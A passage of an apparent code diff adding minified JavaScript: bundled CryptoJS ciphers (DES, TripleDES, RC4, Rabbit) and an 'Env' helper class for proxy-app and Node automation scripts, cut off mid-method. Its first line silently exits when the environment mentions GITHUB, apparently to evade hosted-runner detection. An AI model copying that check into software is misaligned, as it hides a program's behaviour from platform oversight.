16 | c[h >>> 8 & 255] << 8 | c[255 & l]) ^ r[u++], g = (c[d >>> 24] << 24 | c[h >>> 16 & 255] << 16 | c[l >>> 8 & 255] << 8 | c[255 & f]) ^ r[u++], t[e] = _, t[e + 1] = v, t[e + 2] = y, t[e + 3] = g + }, keySize: 8 + }); + t.AES = e._createHelper(p) + }(), function () { + var t = mt, e = t.lib, r = e.WordArray, i = e.BlockCipher, n = t.algo, + o = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], + s = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], + c = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], a = [{ + 0: 8421888, + 268435456: 32768, + 536870912: 8421378, + 805306368: 2, + 1073741824: 512, + 1342177280: 8421890, + 1610612736: 8389122, + 1879048192: 8388608, + 2147483648: 514, + 2415919104: 8389120, + 2684354560: 33280, + 2952790016: 8421376, + 3221225472: 32770, + 3489660928: 8388610, + 3758096384: 0, + 4026531840: 33282, + 134217728: 0, + 402653184: 8421890, + 671088640: 33282, + 939524096: 32768, + 1207959552: 8421888, + 1476395008: 512, + 1744830464: 8421378, + 2013265920: 2, + 2281701376: 8389120, + 2550136832: 33280, + 2818572288: 8421376, + 3087007744: 8389122, + 3355443200: 8388610, + 3623878656: 32770, + 3892314112: 514, + 4160749568: 8388608, + 1: 32768, + 268435457: 2, + 536870913: 8421888, + 805306369: 8388608, + 1073741825: 8421378, + 1342177281: 33280, + 1610612737: 512, + 1879048193: 8389122, + 2147483649: 8421890, + 2415919105: 8421376, + 2684354561: 8388610, + 2952790017: 33282, + 3221225473: 514, + 3489660929: 8389120, + 3758096385: 32770, + 4026531841: 0, + 134217729: 8421890, + 402653185: 8421376, + 671088641: 8388608, + 939524097: 512, + 1207959553: 32768, + 1476395009: 8388610, + 1744830465: 2, + 2013265921: 33282, + 2281701377: 32770, + 2550136833: 8389122, + 2818572289: 514, + 3087007745: 8421888, + 3355443201: 8389120, + 3623878657: 0, + 3892314113: 33280, + 4160749569: 8421378 + }, { + 0: 1074282512, + 16777216: 16384, + 33554432: 524288, + 50331648: 1074266128, + 67108864: 1073741840, + 83886080: 1074282496, + 100663296: 1073758208, + 117440512: 16, + 134217728: 540672, + 150994944: 1073758224, + 167772160: 1073741824, + 184549376: 540688, + 201326592: 524304, + 218103808: 0, + 234881024: 16400, + 251658240: 1074266112, + 8388608: 1073758208, + 25165824: 540688, + 41943040: 16, + 58720256: 1073758224, + 75497472: 1074282512, + 92274688: 1073741824, + 109051904: 524288, + 125829120: 1074266128, + 142606336: 524304, + 159383552: 0, + 176160768: 16384, + 192937984: 1074266112, + 209715200: 1073741840, + 226492416: 540672, + 243269632: 1074282496, + 260046848: 16400, + 268435456: 0, + 285212672: 1074266128, + 301989888: 1073758224, + 318767104: 1074282496, + 335544320: 1074266112, + 352321536: 16, + 369098752: 540688, + 385875968: 16384, + 402653184: 16400, + 419430400: 524288, + 436207616: 524304, + 452984832: 1073741840, + 469762048: 540672, + 486539264: 1073758208, + 503316480: 1073741824, + 520093696: 1074282512, + 276824064: 540688, + 293601280: 524288, + 310378496: 1074266112, + 327155712: 16384, + 343932928: 1073758208, + 360710144: 1074282512, + 377487360: 16, + 394264576: 1073741824, + 411041792: 1074282496, + 427819008: 1073741840, + 444596224: 1073758224, + 461373440: 524304, + 478150656: 0, + 494927872: 16400, + 511705088: 1074266128, + 528482304: 540672 + }, { + 0: 260, + 1048576: 0, + 2097152: 67109120, + 3145728: 65796, + 4194304: 65540, + 5242880: 67108868, + 6291456: 67174660, + 7340032: 67174400, + 8388608: 67108864, + 9437184: 67174656, + 10485760: 65792, + 11534336: 67174404, + 12582912: 67109124, + 13631488: 65536, + 14680064: 4, + 15728640: 256, + 524288: 67174656, + 1572864: 67174404, + 2621440: 0, + 3670016: 67109120, + 4718592: 67108868, + 5767168: 65536, + 6815744: 65540, + 7864320: 260, + 8912896: 4, + 9961472: 256, + 11010048: 67174400, + 12058624: 65796, + 13107200: 65792, + 14155776: 67109124, + 15204352: 67174660, + 16252928: 67108864, + 16777216: 67174656, + 17825792: 65540, + 18874368: 65536, + 19922944: 67109120, + 20971520: 256, + 22020096: 67174660, + 23068672: 67108868, + 24117248: 0, + 25165824: 67109124, + 26214400: 67108864, + 27262976: 4, + 28311552: 65792, + 29360128: 67174400, + 30408704: 260, + 31457280: 65796, + 32505856: 67174404, + 17301504: 67108864, + 18350080: 260, + 19398656: 67174656, + 20447232: 0, + 21495808: 65540, + 22544384: 67109120, + 23592960: 256, + 24641536: 67174404, + 25690112: 65536, + 26738688: 67174660, + 27787264: 65796, + 28835840: 67108868, + 29884416: 67109124, + 30932992: 67174400, + 31981568: 4, + 33030144: 65792 + }, { + 0: 2151682048, + 65536: 2147487808, + 131072: 4198464, + 196608: 2151677952, + 262144: 0, + 327680: 4198400, + 393216: 2147483712, + 458752: 4194368, + 524288: 2147483648, + 589824: 4194304, + 655360: 64, + 720896: 2147487744, + 786432: 2151678016, + 851968: 4160, + 917504: 4096, + 983040: 2151682112, + 32768: 2147487808, + 98304: 64, + 163840: 2151678016, + 229376: 2147487744, + 294912: 4198400, + 360448: 2151682112, + 425984: 0, + 491520: 2151677952, + 557056: 4096, + 622592: 2151682048, + 688128: 4194304, + 753664: 4160, + 819200: 2147483648, + 884736: 4194368, + 950272: 4198464, + 1015808: 2147483712, + 1048576: 4194368, + 1114112: 4198400, + 1179648: 2147483712, + 1245184: 0, + 1310720: 4160, + 1376256: 2151678016, + 1441792: 2151682048, + 1507328: 2147487808, + 1572864: 2151682112, + 1638400: 2147483648, + 1703936: 2151677952, + 1769472: 4198464, + 1835008: 2147487744, + 1900544: 4194304, + 1966080: 64, + 2031616: 4096, + 1081344: 2151677952, + 1146880: 2151682112, + 1212416: 0, + 1277952: 4198400, + 1343488: 4194368, + 1409024: 2147483648, + 1474560: 2147487808, + 1540096: 64, + 1605632: 2147483712, + 1671168: 4096, + 1736704: 2147487744, + 1802240: 2151678016, + 1867776: 4160, + 1933312: 2151682048, + 1998848: 4194304, + 2064384: 4198464 + }, { + 0: 128, + 4096: 17039360, + 8192: 262144, + 12288: 536870912, + 16384: 537133184, + 20480: 16777344, + 24576: 553648256, + 28672: 262272, + 32768: 16777216, + 36864: 537133056, + 40960: 536871040, + 45056: 553910400, + 49152: 553910272, + 53248: 0, + 57344: 17039488, + 61440: 553648128, + 2048: 17039488, + 6144: 553648256, + 10240: 128, + 14336: 17039360, + 18432: 262144, + 22528: 537133184, + 26624: 553910272, + 30720: 536870912, + 34816: 537133056, + 38912: 0, + 43008: 553910400, + 47104: 16777344, + 51200: 536871040, + 55296: 553648128, + 59392: 16777216, + 63488: 262272, + 65536: 262144, + 69632: 128, + 73728: 536870912, + 77824: 553648256, + 81920: 16777344, + 86016: 553910272, + 90112: 537133184, + 94208: 16777216, + 98304: 553910400, + 102400: 553648128, + 106496: 17039360, + 110592: 537133056, + 114688: 262272, + 118784: 536871040, + 122880: 0, + 126976: 17039488, + 67584: 553648256, + 71680: 16777216, + 75776: 17039360, + 79872: 537133184, + 83968: 536870912, + 88064: 17039488, + 92160: 128, + 96256: 553910272, + 100352: 262272, + 104448: 553910400, + 108544: 0, + 112640: 553648128, + 116736: 16777344, + 120832: 262144, + 124928: 537133056, + 129024: 536871040 + }, { + 0: 268435464, + 256: 8192, + 512: 270532608, + 768: 270540808, + 1024: 268443648, + 1280: 2097152, + 1536: 2097160, + 1792: 268435456, + 2048: 0, + 2304: 268443656, + 2560: 2105344, + 2816: 8, + 3072: 270532616, + 3328: 2105352, + 3584: 8200, + 3840: 270540800, + 128: 270532608, + 384: 270540808, + 640: 8, + 896: 2097152, + 1152: 2105352, + 1408: 268435464, + 1664: 268443648, + 1920: 8200, + 2176: 2097160, + 2432: 8192, + 2688: 268443656, + 2944: 270532616, + 3200: 0, + 3456: 270540800, + 3712: 2105344, + 3968: 268435456, + 4096: 268443648, + 4352: 270532616, + 4608: 270540808, + 4864: 8200, + 5120: 2097152, + 5376: 268435456, + 5632: 268435464, + 5888: 2105344, + 6144: 2105352, + 6400: 0, + 6656: 8, + 6912: 270532608, + 7168: 8192, + 7424: 268443656, + 7680: 270540800, + 7936: 2097160, + 4224: 8, + 4480: 2105344, + 4736: 2097152, + 4992: 268435464, + 5248: 268443648, + 5504: 8200, + 5760: 270540808, + 6016: 270532608, + 6272: 270540800, + 6528: 270532616, + 6784: 8192, + 7040: 2105352, + 7296: 2097160, + 7552: 0, + 7808: 268435456, + 8064: 268443656 + }, { + 0: 1048576, + 16: 33555457, + 32: 1024, + 48: 1049601, + 64: 34604033, + 80: 0, + 96: 1, + 112: 34603009, + 128: 33555456, + 144: 1048577, + 160: 33554433, + 176: 34604032, + 192: 34603008, + 208: 1025, + 224: 1049600, + 240: 33554432, + 8: 34603009, + 24: 0, + 40: 33555457, + 56: 34604032, + 72: 1048576, + 88: 33554433, + 104: 33554432, + 120: 1025, + 136: 1049601, + 152: 33555456, + 168: 34603008, + 184: 1048577, + 200: 1024, + 216: 34604033, + 232: 1, + 248: 1049600, + 256: 33554432, + 272: 1048576, + 288: 33555457, + 304: 34603009, + 320: 1048577, + 336: 33555456, + 352: 34604032, + 368: 1049601, + 384: 1025, + 400: 34604033, + 416: 1049600, + 432: 1, + 448: 0, + 464: 34603008, + 480: 33554433, + 496: 1024, + 264: 1049600, + 280: 33555457, + 296: 34603009, + 312: 1, + 328: 33554432, + 344: 1048576, + 360: 1025, + 376: 34604032, + 392: 33554433, + 408: 34603008, + 424: 0, + 440: 34604033, + 456: 1049601, + 472: 1024, + 488: 33555456, + 504: 1048577 + }, { + 0: 134219808, + 1: 131072, + 2: 134217728, + 3: 32, + 4: 131104, + 5: 134350880, + 6: 134350848, + 7: 2048, + 8: 134348800, + 9: 134219776, + 10: 133120, + 11: 134348832, + 12: 2080, + 13: 0, + 14: 134217760, + 15: 133152, + 2147483648: 2048, + 2147483649: 134350880, + 2147483650: 134219808, + 2147483651: 134217728, + 2147483652: 134348800, + 2147483653: 133120, + 2147483654: 133152, + 2147483655: 32, + 2147483656: 134217760, + 2147483657: 2080, + 2147483658: 131104, + 2147483659: 134350848, + 2147483660: 0, + 2147483661: 134348832, + 2147483662: 134219776, + 2147483663: 131072, + 16: 133152, + 17: 134350848, + 18: 32, + 19: 2048, + 20: 134219776, + 21: 134217760, + 22: 134348832, + 23: 131072, + 24: 0, + 25: 131104, + 26: 134348800, + 27: 134219808, + 28: 134350880, + 29: 133120, + 30: 2080, + 31: 134217728, + 2147483664: 131072, + 2147483665: 2048, + 2147483666: 134348832, + 2147483667: 133152, + 2147483668: 32, + 2147483669: 134348800, + 2147483670: 134217728, + 2147483671: 134219808, + 2147483672: 134350880, + 2147483673: 134217760, + 2147483674: 134219776, + 2147483675: 0, + 2147483676: 133120, + 2147483677: 2080, + 2147483678: 131104, + 2147483679: 134350848 + }], h = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], l = n.DES = i.extend({ + _doReset: function () { + for (var t = this._key.words, e = [], r = 0; r < 56; r++) { + var i = o[r] - 1; + e[r] = t[i >>> 5] >>> 31 - i % 32 & 1 + } + for (var n = this._subKeys = [], a = 0; a < 16; a++) { + var h = n[a] = [], l = c[a]; + for (r = 0; r < 24; r++) h[r / 6 | 0] |= e[(s[r] - 1 + l) % 28] << 31 - r % 6, h[4 + (r / 6 | 0)] |= e[28 + (s[r + 24] - 1 + l) % 28] << 31 - r % 6; + for (h[0] = h[0] << 1 | h[0] >>> 31, r = 1; r < 7; r++) h[r] = h[r] >>> 4 * (r - 1) + 3; + h[7] = h[7] << 5 | h[7] >>> 27 + } + var f = this._invSubKeys = []; + for (r = 0; r < 16; r++) f[r] = n[15 - r] + }, encryptBlock: function (t, e) { + this._doCryptBlock(t, e, this._subKeys) + }, decryptBlock: function (t, e) { + this._doCryptBlock(t, e, this._invSubKeys) + }, _doCryptBlock: function (t, e, r) { + this._lBlock = t[e], this._rBlock = t[e + 1], f.call(this, 4, 252645135), f.call(this, 16, 65535), d.call(this, 2, 858993459), d.call(this, 8, 16711935), f.call(this, 1, 1431655765); + for (var i = 0; i < 16; i++) { + for (var n = r[i], o = this._lBlock, s = this._rBlock, c = 0, l = 0; l < 8; l++) c |= a[l][((s ^ n[l]) & h[l]) >>> 0]; + this._lBlock = s, this._rBlock = o ^ c + } + var u = this._lBlock; + this._lBlock = this._rBlock, this._rBlock = u, f.call(this, 1, 1431655765), d.call(this, 8, 16711935), d.call(this, 2, 858993459), f.call(this, 16, 65535), f.call(this, 4, 252645135), t[e] = this._lBlock, t[e + 1] = this._rBlock + }, keySize: 2, ivSize: 2, blockSize: 2 + }); + + function f(t, e) { + var r = (this._lBlock >>> t ^ this._rBlock) & e; + this._rBlock ^= r, this._lBlock ^= r << t + } + + function d(t, e) { + var r = (this._rBlock >>> t ^ this._lBlock) & e; + this._lBlock ^= r, this._rBlock ^= r << t + } + + t.DES = i._createHelper(l); + var u = n.TripleDES = i.extend({ + _doReset: function () { + var t = this._key.words; + if (2 !== t.length && 4 !== t.length && t.length < 6) throw new Error("Invalid key length - 3DES requires the key length to be 64, 128, 192 or >192."); + var e = t.slice(0, 2), i = t.length < 4 ? t.slice(0, 2) : t.slice(2, 4), + n = t.length < 6 ? t.slice(0, 2) : t.slice(4, 6); + this._des1 = l.createEncryptor(r.create(e)), this._des2 = l.createEncryptor(r.create(i)), this._des3 = l.createEncryptor(r.create(n)) + }, encryptBlock: function (t, e) { + this._des1.encryptBlock(t, e), this._des2.decryptBlock(t, e), this._des3.encryptBlock(t, e) + }, decryptBlock: function (t, e) { + this._des3.decryptBlock(t, e), this._des2.encryptBlock(t, e), this._des1.decryptBlock(t, e) + }, keySize: 6, ivSize: 2, blockSize: 2 + }); + t.TripleDES = i._createHelper(u) + }(), function () { + var t = mt, e = t.lib.StreamCipher, r = t.algo, i = r.RC4 = e.extend({ + _doReset: function () { + for (var t = this._key, e = t.words, r = t.sigBytes, i = this._S = [], n = 0; n < 256; n++) i[n] = n; + n = 0; + for (var o = 0; n < 256; n++) { + var s = n % r, c = e[s >>> 2] >>> 24 - s % 4 * 8 & 255; + o = (o + i[n] + c) % 256; + var a = i[n]; + i[n] = i[o], i[o] = a + } + this._i = this._j = 0 + }, _doProcessBlock: function (t, e) { + t[e] ^= n.call(this) + }, keySize: 8, ivSize: 0 + }); + + function n() { + for (var t = this._S, e = this._i, r = this._j, i = 0, n = 0; n < 4; n++) { + r = (r + t[e = (e + 1) % 256]) % 256; + var o = t[e]; + t[e] = t[r], t[r] = o, i |= t[(t[e] + t[r]) % 256] << 24 - 8 * n + } + return this._i = e, this._j = r, i + } + + t.RC4 = e._createHelper(i); + var o = r.RC4Drop = i.extend({ + cfg: i.cfg.extend({drop: 192}), _doReset: function () { + i._doReset.call(this); + for (var t = this.cfg.drop; 0 < t; t--) n.call(this) + } + }); + t.RC4Drop = e._createHelper(o) + }(), mt.mode.CTRGladman = (st = (ot = mt.lib.BlockCipherMode.extend()).Encryptor = ot.extend({ + processBlock: function (t, e) { + var r, i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; + o && (s = this._counter = o.slice(0), this._iv = void 0), 0 === ((r = s)[0] = Et(r[0])) && (r[1] = Et(r[1])); + var c = s.slice(0); + i.encryptBlock(c, 0); + for (var a = 0; a < n; a++) t[e + a] ^= c[a] + } + }), ot.Decryptor = st, ot), at = (ct = mt).lib.StreamCipher, ht = ct.algo, lt = [], ft = [], dt = [], ut = ht.Rabbit = at.extend({ + _doReset: function () { + for (var t = this._key.words, e = this.cfg.iv, r = 0; r < 4; r++) t[r] = 16711935 & (t[r] << 8 | t[r] >>> 24) | 4278255360 & (t[r] << 24 | t[r] >>> 8); + var i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], + n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; + for (r = this._b = 0; r < 4; r++) Rt.call(this); + for (r = 0; r < 8; r++) n[r] ^= i[r + 4 & 7]; + if (e) { + var o = e.words, s = o[0], c = o[1], + a = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), + h = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), + l = a >>> 16 | 4294901760 & h, f = h << 16 | 65535 & a; + for (n[0] ^= a, n[1] ^= l, n[2] ^= h, n[3] ^= f, n[4] ^= a, n[5] ^= l, n[6] ^= h, n[7] ^= f, r = 0; r < 4; r++) Rt.call(this) + } + }, _doProcessBlock: function (t, e) { + var r = this._X; + Rt.call(this), lt[0] = r[0] ^ r[5] >>> 16 ^ r[3] << 16, lt[1] = r[2] ^ r[7] >>> 16 ^ r[5] << 16, lt[2] = r[4] ^ r[1] >>> 16 ^ r[7] << 16, lt[3] = r[6] ^ r[3] >>> 16 ^ r[1] << 16; + for (var i = 0; i < 4; i++) lt[i] = 16711935 & (lt[i] << 8 | lt[i] >>> 24) | 4278255360 & (lt[i] << 24 | lt[i] >>> 8), t[e + i] ^= lt[i] + }, blockSize: 4, ivSize: 2 + }), ct.Rabbit = at._createHelper(ut), mt.mode.CTR = (_t = (pt = mt.lib.BlockCipherMode.extend()).Encryptor = pt.extend({ + processBlock: function (t, e) { + var r = this._cipher, i = r.blockSize, n = this._iv, o = this._counter; + n && (o = this._counter = n.slice(0), this._iv = void 0); + var s = o.slice(0); + r.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; + for (var c = 0; c < i; c++) t[e + c] ^= s[c] + } + }), pt.Decryptor = _t, pt), yt = (vt = mt).lib.StreamCipher, gt = vt.algo, Bt = [], wt = [], kt = [], St = gt.RabbitLegacy = yt.extend({ + _doReset: function () { + for (var t = this._key.words, e = this.cfg.iv, r = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], i = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]], n = this._b = 0; n < 4; n++) Mt.call(this); + for (n = 0; n < 8; n++) i[n] ^= r[n + 4 & 7]; + if (e) { + var o = e.words, s = o[0], c = o[1], + a = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), + h = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), + l = a >>> 16 | 4294901760 & h, f = h << 16 | 65535 & a; + for (i[0] ^= a, i[1] ^= l, i[2] ^= h, i[3] ^= f, i[4] ^= a, i[5] ^= l, i[6] ^= h, i[7] ^= f, n = 0; n < 4; n++) Mt.call(this) + } + }, _doProcessBlock: function (t, e) { + var r = this._X; + Mt.call(this), Bt[0] = r[0] ^ r[5] >>> 16 ^ r[3] << 16, Bt[1] = r[2] ^ r[7] >>> 16 ^ r[5] << 16, Bt[2] = r[4] ^ r[1] >>> 16 ^ r[7] << 16, Bt[3] = r[6] ^ r[3] >>> 16 ^ r[1] << 16; + for (var i = 0; i < 4; i++) Bt[i] = 16711935 & (Bt[i] << 8 | Bt[i] >>> 24) | 4278255360 & (Bt[i] << 24 | Bt[i] >>> 8), t[e + i] ^= Bt[i] + }, blockSize: 4, ivSize: 2 + }), vt.RabbitLegacy = yt._createHelper(St), mt.pad.ZeroPadding = { + pad: function (t, e) { + var r = 4 * e; + t.clamp(), t.sigBytes += r - (t.sigBytes % r || r) + }, unpad: function (t) { + var e = t.words, r = t.sigBytes - 1; + for (r = t.sigBytes - 1; 0 <= r; r--) if (e[r >>> 2] >>> 24 - r % 4 * 8 & 255) { + t.sigBytes = r + 1; + break + } + } + }, mt + }); +} + + +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + + class s { + constructor(t) { + this.env = t + } + + send(t, e = "GET") { + t = "string" == typeof t ? {url: t} : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + + get(t) { + return this.send.call(this.env, t) + } + + post(t) { + return this.send.call(this.env, t, "POST") + } + } + + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `\ud83d\udd14${this.name}, \u5f00\u59cb!`) + } + + isNode() { + return "undefined" != typeof module && !!module.exports + } + + isQuanX() { + return "undefined" != typeof $task + } + + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + + isLoon() { + return "undefined" != typeof $loon + } + + isShadowrocket() { + return "undefined" != typeof $rocket + } + + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch { + } + return s + } + + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + + getScript(t) { + return new Promise(e => { + this.get({url: t}, (t, s, i) => e(i)) + }) + } + + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), a = { + url: `http://${h}/v1/scripting/evaluate`, + body: {script_text: t, mock_type: "cron", timeout: r}, + headers: {"X-Key": o, Accept: "*/*"} + }; + this.post(a, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + + loaddata() { + if (!this.isNode()) return {}; + { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; + { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) if (r = Object(r)[t], void 0 === r) return s; + return r + } + + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + + get(t, e = (() => { + })) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + })) + } + + post(t, e = (() => { + })) { + const s = t.method ? t.method.toLocaleLowerCase() : "post"; + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient[s](t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); else if (this.isQuanX()) t.method = s, this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t)); else if (this.isNode()) { + this.initGotEnv(t); + const {url: i, ...r} = t; + this.got[s](i, r).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + }) + } + } + + put(t, e = (() => { + })) { + const s = t.method ? t.method.toLocaleLowerCase() : "put"; + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient[s](t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); else if (this.isQuanX()) t.method = s, this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t)); else if (this.isNode()) { + this.initGotEnv(t); + const {url: i, ...r} = t; + this.got[s](i, r).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + }) + } + } + + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + + msg(e = t, s = "", i = "", r) { + const o = t => { + if 